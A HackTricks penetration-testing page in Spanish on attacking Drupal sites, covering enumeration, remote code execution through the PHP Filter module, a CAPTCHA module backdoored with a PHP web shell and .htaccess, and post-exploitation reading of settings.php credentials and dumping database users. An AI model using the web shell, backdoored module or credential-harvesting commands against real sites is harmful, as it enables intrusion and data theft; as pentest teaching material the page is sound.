hacktricks/network-services-pentesting/pentesting-web/drupal.md

8.7 KiB

Drupal

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Descubrimiento

  • Verifica meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal indexa su contenido usando nodos. Un nodo puede contener cualquier cosa como una entrada de blog, encuesta, artículo, etc. Las URI de las páginas suelen tener la forma /node/<nodeid>.
curl drupal-site.com/node/1

Enumeración

Drupal soporta tres tipos de usuarios por defecto:

  1. Administrator: Este usuario tiene control completo sobre el sitio web de Drupal.
  2. Authenticated User: Estos usuarios pueden iniciar sesión en el sitio web y realizar operaciones como añadir y editar artículos basados en sus permisos.
  3. Anonymous: Todos los visitantes del sitio web son designados como anónimos. Por defecto, a estos usuarios solo se les permite leer publicaciones.

Versión

  • Verificar /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Las instalaciones más recientes de Drupal por defecto bloquean el acceso a los archivos CHANGELOG.txt y README.txt. {% endhint %}

Enumeración de nombres de usuario

Registro

En /user/register solo intenta crear un nombre de usuario y si el nombre ya está tomado se notificará:

Solicitar nueva contraseña

Si solicitas una nueva contraseña para un nombre de usuario existente:

Si solicitas una nueva contraseña para un nombre de usuario inexistente:

Obtener número de usuarios

Accediendo a /user/<number> puedes ver el número de usuarios existentes, en este caso es 2 ya que /users/3 devuelve un error de no encontrado:

Páginas ocultas

Fuzz /node/$ donde $ es un número (de 1 a 500 por ejemplo).
Podrías encontrar páginas ocultas (test, dev) que no están referenciadas por los motores de búsqueda.

Información de módulos instalados

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Automático

droopescan scan drupal -u http://drupal-site.local

RCE

Con el Módulo PHP Filter

{% hint style="warning" %} En versiones anteriores de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter, que "Permite que se evalúen fragmentos/códigos PHP incrustados." {% endhint %}

Necesitas que el plugin php esté instalado (compruébalo accediendo a /modules/php y si devuelve un 403 entonces, existe, si no se encuentra, entonces el plugin php no está instalado)

Ve a Modules -> (Marca) PHP Filter -> Guardar configuración

Luego haz clic en Añadir contenido -> Selecciona Página básica o Artículo -> Escribe shellcode php en el cuerpo -> Selecciona Código PHP en Formato de texto -> Selecciona Vista previa

Finalmente, solo accede al nodo recién creado:

curl http://drupal-site.local/node/3

Instalar el Módulo PHP Filter

A partir de la versión 8 en adelante, el módulo PHP Filter no está instalado por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.

  1. Descarga la versión más reciente del módulo desde el sitio web de Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Una vez descargado, ve a Administración > Informes > Actualizaciones disponibles.
  4. Haz clic en Examinar, selecciona el archivo desde el directorio donde lo descargamos y luego haz clic en Instalar.
  5. Una vez instalado el módulo, podemos hacer clic en Contenido y crear una nueva página básica, de manera similar a como lo hicimos en el ejemplo de Drupal 7. De nuevo, asegúrate de seleccionar Código PHP del desplegable Formato de texto.

Módulo con puerta trasera

Se puede crear un módulo con puerta trasera añadiendo un shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Escojamos un módulo como CAPTCHA. Desplázate hacia abajo y copia el enlace para el archivo tar.gz archivo.

  • Descarga el archivo y extrae su contenido.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Crea una PHP web shell con el contenido:
<?php
system($_GET["cmd"]);
?>
  • A continuación, necesitamos crear un archivo .htaccess para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta /modules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copia ambos archivos a la carpeta captcha y crea un archivo.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Suponiendo que tenemos acceso administrativo al sitio web, haz clic en Manage y luego en Extend en la barra lateral. A continuación, haz clic en el botón + Install new module y seremos llevados a la página de instalación, como http://drupal-site.local/admin/modules/install Navega hasta el archivo comprimido del Captcha con puerta trasera y haz clic en Install.
  • Una vez que la instalación tenga éxito, navega a /modules/captcha/shell.php para ejecutar comandos.

Post Explotación

Leer settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Volcar usuarios de la DB

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Referencias

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: